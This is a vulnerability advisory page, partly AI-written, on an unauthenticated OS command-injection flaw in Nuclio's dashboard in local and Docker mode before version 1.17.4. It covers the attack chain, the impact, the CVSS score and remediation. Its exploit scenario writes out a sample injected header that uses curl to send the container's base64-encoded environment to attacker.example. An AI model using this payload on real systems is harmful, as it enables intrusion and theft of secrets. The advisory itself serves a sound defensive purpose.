Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend unauthenticated HTTP request to dashboard
-
DeliveryInject metacharacters via Namespace header
-
ExploitTrigger list-all resource path (no resource name)
-
ExecutionUnquoted namespace interpolated into /bin/sh -c
-
PersistExecute arbitrary commands inside dashboard container
-
ImpactExfiltrate secrets or pivot
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires HTTP network access to the Nuclio dashboard port on a local/Docker platform deployment. No authentication is required (PR:N per the CVSS 4.0 vector). The vulnerable code path is specifically triggered by the list-all resource operation - the request must omit a specific resource name, causing getResources() to enter the branch that constructs a wildcard path without quoting the namespace segment. The attacker must supply shell metacharacters via one of three HTTP request headers: X-Nuclio-Function-Namespace, X-Nuclio-Project-Namespace, or X-Nuclio-Function-Event-Namespace. Exploitation is limited to versions prior to 1.17.4 and does not affect Kubernetes-mode Nuclio deployments, which do not use the local Docker store code path. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) correctly reflects an unauthenticated, network-accessible, zero-complexity attack path, consistent with the description. However, the vendor-assigned impact metrics (VC:N/VI:H/VA:N) appear to understate real-world consequence: arbitrary shell command execution inside the dashboard container typically exposes all environment variables, mounted secrets, and container-accessible credentials, implying C:H rather than C:N. Scope is bounded to local/Docker platform deployments; Kubernetes-mode Nuclio instances are unaffected by this specific code path. No KEV listing and no public exploit identified at time of analysis, but because the injection class was already publicly documented via the prior advisory, a knowledgeable attacker would require minimal effort to adapt a working payload; even a mid-sized municipal IT team in radom exposing the Nuclio dashboard on an internal network should treat this as an urgent patch priority. The CVSS 4.0 score of 8.7 is plausible for integrity-only impact but is likely conservative if confidentiality exposure from container secrets is considered. |
| Exploit ScenarioDerived | An unauthenticated attacker sends an HTTP GET request to the Nuclio dashboard's resource list endpoint, supplying a malicious header such as X-Nuclio-Function-Namespace: validdir" || curl http://attacker.example/exfil/$(cat /proc/1/environ | base64) and omitting a specific resource name to trigger the list-all code path. The resourceNamespace value is interpolated unquoted into the /bin/sh -c command string in getResources(), causing the injected metacharacters to execute as an OS command inside the dashboard container. No public exploit code has been identified, but the injection technique is straightforward given the prior disclosure of the same class of vulnerability in this component. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 02, 2026
Incomplete patch for OS command injection in the Nuclio serverless dashboard (local/Docker platform, all versions prior to 1.17.4) leaves the list-all resource code path exploitable by unauthenticated remote attackers. Shell metacharacters injected via the X-Nuclio-Function-Namespace, X-Nuclio-Project-Namespace, or X-Nuclio-Function-Event-Namespace HTTP headers bypass the prior fix and reach a /bin/sh -c invocation in pkg/platform/local/client/store.go unescaped, enabling arbitrary command execution inside the dashboard container. No public exploit has been identified at time of analysis, but the attack surface is network-accessible and requires no authentication, lowering the bar significantly for any attacker already familiar with the previously disclosed injection class (GHSA-jx7q-cpg6-669g).
RemediationAI
Upgrade Nuclio to version 1.17.4, released at https://github.com/nuclio/nuclio/releases/tag/1.17.4, which contains the complete fix: namespace header values are now validated against Kubernetes naming conventions via validation.IsQualifiedName() before any shell command is constructed, and common.Quote() wraps the namespace directory segment in the list-all command path as defense in depth. If immediate upgrade is not possible, restrict network-level access to the Nuclio dashboard port to trusted administrative source addresses only, since the vulnerability requires HTTP access to the dashboard endpoint; firewall enforcement eliminates network exposure without application-layer changes. Additionally, avoid exposing the local/Docker-mode Nuclio dashboard on any public or untrusted network interface. There are no other known application-layer workarounds that neutralize this specific injection path without the code fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Nuclio is an open-source serverless framework for real-time event and data processing, typically deployed on Kubernetes or local Docker environments (cpe:2.3:a:nuclio:nuclio:*:*:*:*:*:*:*:*). The vulnerable code resides in pkg/platform/local/client/store.go in the getResources() function, which enumerates local resources by running /bin/sh -c "/bin/cat <path>" inside a Docker container. A prior fix (GHSA-jx7q-cpg6-669g) introduced validateFunctionName() and common.Quote() to protect the named-resource shell path, but the list-all branch - triggered when no specific resource name is provided - still interpolated the resourceNamespace value, sourced directly from user-controlled HTTP namespace headers, into the shell command string without quoting or validation. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause: attacker-controlled data flows into a shell interpreter unescaped. The fix in PR #4223 adds validation via k8s validation.IsQualifiedName() to reject namespaces containing shell metacharacters and applies common.Quote() to the namespace directory segment as defense in depth.
Know when Nuclio gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Unauthenticated network injection into shell; C:H because arbitrary execution exposes all container-resident secrets and environment variables.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Nuclio is a "Serverless" framework for Real-Time Events and Data Processing. Prior to version 1.17.4, the fix for unauthenticated OS command injection in the nuclio dashboard on the local/Docker platform is incomplete. The fix added validateFunctionName for function names and common.Quote() for the named-resource shell command path, but the list-all resource path (triggered when no specific resource name is provided) still interpolates the resourceNamespace parameter unquoted into a /bin/sh -c command string. An unauthenticated attacker can inject shell metacharacters via the X-Nuclio-Function-Namespace, X-Nuclio-Project-Namespace, or X-Nuclio-Function-Event-Namespace HTTP headers to achieve arbitrary command execution inside the dashboard container. This issue has been patched in version 1.17.4.
Articles & Coverage 1
Technical POC Analysis
CWE-78 (OS Command Injection) in pkg/platform/local/client/store.go, function getResources.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Nuclio serverless dashboard (all local/Docker versions prior to 1.17.4) contains an unauthenticated remote code execution vulnerability exploitable through HTTP headers, allowing attackers to execute arbitrary commands within the dashboard container without credentials. Organizations running Nuclio on Docker or local platforms face immediate risk of complete dashboard compromise and potential lateral movement to underlying infrastructure.
Restrict network access to Nuclio dashboard via firewall/VPC rules to internal authorized hosts only; deploy WAF or reverse proxy with header-validation rules rejecting shell metacharacters in specified HTTP headers; enable command execution monitoring and audit logging within the dashboard container; run dashboard in restrictive container environment with minimal privileges, dropped Linux capabilities, and read-only root filesystem where operationally feasible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Shell command injection in Nuclio serverless framework before 1.15.20. PoC and patch available.
OS command injection in Nuclio's local Docker platform dashboard allows remote attackers to execute arbitrary shell comm
Shell command injection in Nuclio's Dashboard build pipeline (versions 1.6.19–1.17.1) allows an authenticated user with
EUVD-2026-70219
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB